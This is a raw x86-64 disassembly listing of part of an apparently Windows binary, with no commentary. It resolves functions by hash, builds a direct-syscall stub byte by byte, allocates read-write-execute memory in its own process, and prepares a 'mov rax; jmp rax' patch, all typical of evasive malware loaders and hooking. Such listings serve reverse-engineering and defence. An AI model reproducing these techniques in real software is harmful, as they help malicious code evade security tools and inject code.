jmp 0x14014cce9
mov qword [rsp + 0x5a68], 0
mov rax, qword [rsp + 0x5a68]
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0xba90]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x6b0]
cmp qword [rax + 8], 0
jne 0x14014cd1e
mov rax, qword [rsp + 0x1b0]
sub rax, 0x20
mov qword [rsp + 0x4230], rax
xor eax, eax
mov word [rsp + 0x164], ax
lea rax, [rsp + 0x164]
mov qword [rsp + 0x5a70], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xbaf0], rax
mov rax, qword [rsp + 0xbaf0]
mov qword [rsp + 0xbb38], rax
cmp qword [rsp + 0x5a70], 0
je 0x14014ce91
cmp qword [rsp + 0x4230], 0
je 0x14014ce91
xor eax, eax
cmp rax, 2
jne 0x14014ce9e
mov byte [rsp + 0x98], 0
jmp 0x14014dffd
lea rax, [rsp + 0xdb60]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xdb60], 0x33
mov rax, qword [rsp + 0x4230]
mov qword [rsp + 0xdb70], rax
mov rax, qword [rsp + 0x5a70]
mov qword [rsp + 0xdb78], rax
mov qword [rsp + 0xdb80], 2
mov dword [rsp + 0x301c], 0
mov qword [rsp + 0xbb00], 0
mov qword [rsp + 0xbb08], 0x28
lea rax, [rsp + 0xdb60]
mov qword [rsp + 0xbb10], rax
lea rax, [rsp + 0x12b58]
mov qword [rsp + 0xbb18], rax
mov qword [rsp + 0xbb20], 0
mov qword [rsp + 0xbb28], 0
mov qword [rsp + 0xbb30], 0
mov dword [rsp + 0x2fdc], 0x9363e455
mov eax, dword [rsp + 0x2fdc]
mov dword [rsp + 0x2fe0], eax
lea rcx, [rsp + 0x2fe0]
call fcn.1400a2c20
mov dword [rsp + 0x67f8], eax
mov dword [rsp + 0x67fc], 0
lea rax, [rsp + 0x6800]
mov qword [rsp + 0xbaf8], rax
mov dword [rsp + 0x3018], 0x49
mov dword [rsp + 0x3014], 0x89
mov dword [rsp + 0x3010], 0xca
mov dword [rsp + 0x300c], 0x48
mov dword [rsp + 0x3008], 0xc7
mov dword [rsp + 0x3004], 0xc0
mov dword [rsp + 0x3000], 0x3f
mov dword [rsp + 0x2ffc], 0x10
mov dword [rsp + 0x2ff8], 0
mov dword [rsp + 0x2ff4], 0
mov dword [rsp + 0x2ff0], 0xf
mov dword [rsp + 0x2fec], 5
mov dword [rsp + 0x2fe8], 0xc3
lea rax, [rsp + 0x2fe8]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2fec]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2ff0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2ff4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2ff8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2ffc]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x3000]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3004]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x3008]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x300c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3010]
lea r8, [rsp + 0x3014]
lea rdx, [rsp + 0x3018]
mov rcx, qword [rsp + 0xbaf8]
call fcn.14008f900
mov byte [rsp + 0x456], 1
mov byte [rsp + 0x457], 0
movsxd rax, dword [rsp + 0x301c]
mov qword [rsp + 0xbc70], rax
mov byte [rsp + 0x458], 0
mov byte [rsp + 0x459], 0
mov rax, qword [rsp + 0xbb00]
mov qword [rsp + 0xbc78], rax
mov byte [rsp + 0x45a], 0
mov byte [rsp + 0x45b], 1
mov rax, qword [rsp + 0xbb08]
mov qword [rsp + 0xbc80], rax
mov byte [rsp + 0x45c], 0
mov byte [rsp + 0x45d], 0
mov rax, qword [rsp + 0xbb10]
mov qword [rsp + 0xbc88], rax
mov byte [rsp + 0x45e], 0
mov byte [rsp + 0x45f], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xbc90], rax
mov byte [rsp + 0x460], 0
mov byte [rsp + 0x536], 0
mov rax, qword [rsp + 0xbb18]
mov qword [rsp + 0xbc98], rax
mov byte [rsp + 0x462], 0
mov byte [rsp + 0x463], 0
mov rax, qword [rsp + 0xbb20]
mov qword [rsp + 0xbca0], rax
mov byte [rsp + 0x464], 0
mov byte [rsp + 0x465], 0
mov rax, qword [rsp + 0xbb28]
mov qword [rsp + 0xbca8], rax
mov byte [rsp + 0x466], 0
mov byte [rsp + 0x467], 0
mov rax, qword [rsp + 0xbb30]
mov qword [rsp + 0xbcb0], rax
mov byte [rsp + 0x468], 0
mov byte [rsp + 0x469], 0
mov rax, qword [rsp + 0xbb38]
mov qword [rsp + 0xbcb8], rax
mov eax, dword [rsp + 0x67f8]
mov dword [rsp + 0x3020], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10520]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xbb40], rax
lea r8, [rsp + 0x3020]
lea rdx, [rsp + 0x5a78]
mov rcx, qword [rsp + 0xbb40]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xbb48], rax
lea rdx, [rsp + 0x11788]
mov rcx, qword [rsp + 0xbb48]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5a78]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14014d2af
mov qword [rsp + 0x5a80], 0
jmp 0x14014d2c8
lea rcx, [rsp + 0x5a78]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5a80], rax
mov rax, qword [rsp + 0x5a80]
mov qword [rsp + 0xbb50], rax
lea rcx, [rsp + 0x10520]
call fcn.1400a0f10
mov rax, qword [rsp + 0xbb50]
mov qword [rsp + 0x5a88], rax
cmp qword [rsp + 0x5a88], 0
je 0x14014d325
mov rax, qword [rsp + 0x5a88]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3028], eax
mov eax, dword [rsp + 0x3028]
mov dword [rsp + 0x67fc], eax
jmp 0x14014ddb3
lea rax, [rsp + 0x701c]
mov qword [rsp + 0xbb58], rax
xor edx, edx
mov rcx, qword [rsp + 0xbb58]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x302c], eax
lea rax, [rsp + 0x7020]
mov qword [rsp + 0xbb60], rax
mov edx, dword [rsp + 0x67f8]
mov rcx, qword [rsp + 0xbb60]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x3030], eax
mov eax, dword [rsp + 0x302c]
mov dword [rsp + 0xe00], eax
mov eax, dword [rsp + 0x3030]
mov dword [rsp + 0xe18], eax
xor edx, edx
lea rcx, [rsp + 0x3034]
call fcn.14009b2f0
lea rdx, [rsp + 0x3034]
lea rcx, [rsp + 0xe18]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14014d3d2
mov qword [rsp + 0x14e8], 0
jmp 0x14014dcd1
mov byte [rsp + 0x46a], 1
mov qword [rsp + 0x6b20], 0
mov qword [rsp + 0x6b28], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4148], rax
mov eax, 1
test eax, eax
je 0x14014d424
mov rax, qword [rsp + 0x4148]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5a90], rax
jmp 0x14014d437
mov rax, qword [rsp + 0x4148]
mov rax, qword [rax]
mov qword [rsp + 0x5a90], rax
mov rax, qword [rsp + 0x5a90]
mov qword [rsp + 0x6b20], rax
mov rax, qword [rsp + 0x4148]
mov qword [rsp + 0x6b28], rax
lea rax, [rsp + 0x6b20]
mov qword [rsp + 0x5a98], rax
lea rdx, [rsp + 0x14e0]
mov rcx, qword [rsp + 0x5a98]
call fcn.14018efb0
lea rdx, [rsp + 0xbb68]
mov rcx, qword [rsp + 0x5a98]
call fcn.140190a30
jmp 0x14014d4a6
mov rax, qword [rsp + 0xbb68]
cmp qword [rsp + 0x14e0], rax
je 0x14014d4c5
mov dword [rsp + 0xdfc], 1
jmp 0x14014d4d0
mov dword [rsp + 0xdfc], 0
movzx eax, byte [rsp + 0xdfc]
test eax, eax
je 0x14014dcc5
mov rax, qword [rsp + 0x14e8]
mov qword [rsp + 0x4160], rax
lea rcx, [rsp + 0x4160]
call fcn.1400a2c10
mov qword [rsp + 0xbc20], rax
mov eax, dword [rsp + 0x67f8]
mov dword [rsp + 0x3068], eax
mov rax, qword [rsp + 0xbc20]
mov qword [rsp + 0xbc28], rax
mov eax, dword [rsp + 0x3068]
mov dword [rsp + 0x3070], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0x10600]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xbc30], rax
lea r9, [rsp + 0xbc28]
lea r8, [rsp + 0x3070]
lea rdx, [rsp + 0x12b88]
mov rcx, qword [rsp + 0xbc30]
call fcn.140098320
lea rcx, [rsp + 0x10600]
call fcn.1400a0f80
lea rcx, [rsp + 0x4160]
call fcn.1400a2c10
mov qword [rsp + 0xbc38], rax
mov rax, qword [rsp + 0xbc38]
mov eax, dword [rax + 4]
mov dword [rsp + 0x3078], eax
mov eax, dword [rsp + 0x3078]
mov dword [rsp + 0x67fc], eax
lea rax, [rsp + 0x6800]
mov qword [rsp + 0xbc40], rax
mov eax, dword [rsp + 0x67fc]
mov dword [rsp + 0x3080], eax
mov rax, qword [rsp + 0xbc40]
add rax, 0x11
mov qword [rsp + 0xbc48], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0xbc48]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x3080]
mov dword [rax], ecx
lea rax, [rsp + 0x6800]
mov qword [rsp + 0x6b8], rax
mov rax, qword [rsp + 0x6b8]
add rax, 0x10
mov qword [rsp + 0x11798], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0xbc50], rax
mov qword [rsp + 0x5ad0], 0
mov qword [rsp + 0xbc58], 0xd
mov rax, qword [rsp + 0xbc50]
mov qword [rsp + 0xbc60], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0xbc58]
xor r8d, r8d
lea rdx, [rsp + 0x5ad0]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0xbc60]
mov dword [rsp + 0x3088], eax
cmp dword [rsp + 0x3088], 0
jl 0x14014deb5
mov rax, qword [rsp + 0x5ad0]
mov qword [rsp + 0x5ad8], rax
jmp 0x14014dec1
mov qword [rsp + 0x5ad8], 0
mov rax, qword [rsp + 0x5ad8]
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0x6b8]
mov rcx, qword [rsp + 0xbc68]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x6b8]
cmp qword [rax + 8], 0
jne 0x14014def6
jmp 0x14014df3a
mov rax, qword [rsp + 0x6b8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x6b8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x6b8]
mov rcx, qword [rsp + 0x6b8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6800]
mov qword [rsp + 0xbcc0], rax
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xbc78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xbc80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xbc88]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xbc90]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xbc98]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbca0]
mov r8, qword [rsp + 0xbca8]
mov rdx, qword [rsp + 0xbcb0]
mov rcx, qword [rsp + 0xbcb8]
call qword [rsp + 0xbcc0]
mov dword [rsp + 0x308c], eax
lea rcx, [rsp + 0x67f8]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x308c]
mov dword [rsp + 0x3090], eax
cmp dword [rsp + 0x3090], 0
jge 0x14014dff5
movzx eax, word [rsp + 0x164]
cmp eax, 0xda18
je 0x14014e011
jmp 0x140158cb4
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x190], rax
mov byte [rsp + 0x46b], 1
cmp qword [rsp + 0x5b28], 0
jne 0x14014e039
jmp 0x140158cb4
mov dword [rsp + 0x3094], 0xe694a205
mov edx, dword [rsp + 0x3094]
lea rcx, [rsp + 0x12598]
call fcn.14009a900
mov rax, qword [rsp + 0x12598]
mov qword [rsp + 0xbcc8], rax
cmp qword [rsp + 0xbcc8], 0
jne 0x14014e078
jmp 0x140158cb4
lea rax, [rsp + 0x7030]
mov qword [rsp + 0xbcd0], rax
xor edx, edx
mov rcx, qword [rsp + 0xbcd0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x3098], eax
mov eax, dword [rsp + 0x3098]
mov dword [rsp + 0x30a0], eax
mov dword [rsp + 0x309c], 0x878a765f
mov eax, dword [rsp + 0x309c]
mov dword [rsp + 0x30a4], eax
mov eax, dword [rsp + 0x30a0]
mov dword [rsp + 0xe28], eax
mov eax, dword [rsp + 0x30a4]
mov dword [rsp + 0xe40], eax
xor edx, edx
lea rcx, [rsp + 0x30a8]
call fcn.14009b2f0
lea rdx, [rsp + 0x30a8]
lea rcx, [rsp + 0xe40]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14014e11f
mov qword [rsp + 0x14f8], 0
jmp 0x14014ea1e
mov byte [rsp + 0x46c], 1
mov qword [rsp + 0x6b40], 0
mov qword [rsp + 0x6b48], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4168], rax
mov eax, 1
test eax, eax
je 0x14014e171
mov rax, qword [rsp + 0x4168]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5ae0], rax
jmp 0x14014e184
mov rax, qword [rsp + 0x4168]
mov rax, qword [rax]
mov qword [rsp + 0x5ae0], rax
mov rax, qword [rsp + 0x5ae0]
mov qword [rsp + 0x6b40], rax
mov rax, qword [rsp + 0x4168]
mov qword [rsp + 0x6b48], rax
lea rax, [rsp + 0x6b40]
mov qword [rsp + 0x5ae8], rax
lea rdx, [rsp + 0x14f0]
mov rcx, qword [rsp + 0x5ae8]
call fcn.14018efb0
lea rdx, [rsp + 0xbcd8]
mov rcx, qword [rsp + 0x5ae8]
call fcn.140190a30
jmp 0x14014e1f3
mov rax, qword [rsp + 0xbcd8]
cmp qword [rsp + 0x14f0], rax
je 0x14014e212
mov dword [rsp + 0xe24], 1
jmp 0x14014e21d
mov dword [rsp + 0xe24], 0
movzx eax, byte [rsp + 0xe24]
test eax, eax
je 0x14014ea12
mov rax, qword [rsp + 0x14f8]
mov qword [rsp + 0x5b20], rax
mov rax, qword [rsp + 0x5b20]
mov qword [rsp + 0x5d60], rax
cmp qword [rsp + 0x5d60], 0
jne 0x14014ea4e
jmp 0x140158cb4
mov byte [rsp + 0x180], Ordinal_79
mov byte [rsp + 0x181], 0xb8
mov byte [rsp + 0x182], 0
mov byte [rsp + 0x183], 0
mov byte [rsp + 0x184], 0
mov byte [rsp + 0x185], 0
mov byte [rsp + 0x186], 0
mov byte [rsp + 0x187], 0
mov byte [rsp + 0x188], 0
mov byte [rsp + 0x189], 0
mov byte [rsp + 0x18a], 0xff
mov byte [rsp + 0x18b], 0xe0
mov eax, 1
imul rax, rax, 2
mov rcx, qword [rsp + 0x5b28]
mov qword [rsp + rax + 0x180], rcx
mov eax, 0x24
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rax + rcx]
cmp dword [0x1404d0ea8], eax
jle 0x14014ec2f
lea rcx, [0x1404d0ea8]
call fcn.1403a705c
cmp dword [0x1404d0ea8], 0xffffffff
jne 0x14014ec2f
cmp qword [0x1404d0ea0], 0
jne 0x14014ec3e
mov byte [rsp + 0x10f], 1
lea rcx, [rsp + 0x1110]
call fcn.1400a0fc0
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x70], al
jmp 0x140158cee
lea rcx, [rsp + 0x1110]
call fcn.1400a0fc0
jmp 0x140143d90
mov byte [rsp + 0x70], 0
movzx eax, byte [rsp + 0x70]
test eax, eax
jne 0x140158d27
mov rcx, qword [rsp + 0xa8]
call fcn.140187c80
mov qword [rsp + 0xce10], 0xffffffffffffffff
lea rcx, [rsp + 0x15a0]
call fcn.1400a0d90
mov rax, qword [rsp + 0xce10]
jmp 0x140158d4c
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xce18], rax
lea rcx, [rsp + 0x15a0]
call fcn.1400a0d90
mov rax, qword [rsp + 0xce18]
add rsp, 0x13f68
pop rdi
pop rsi
ret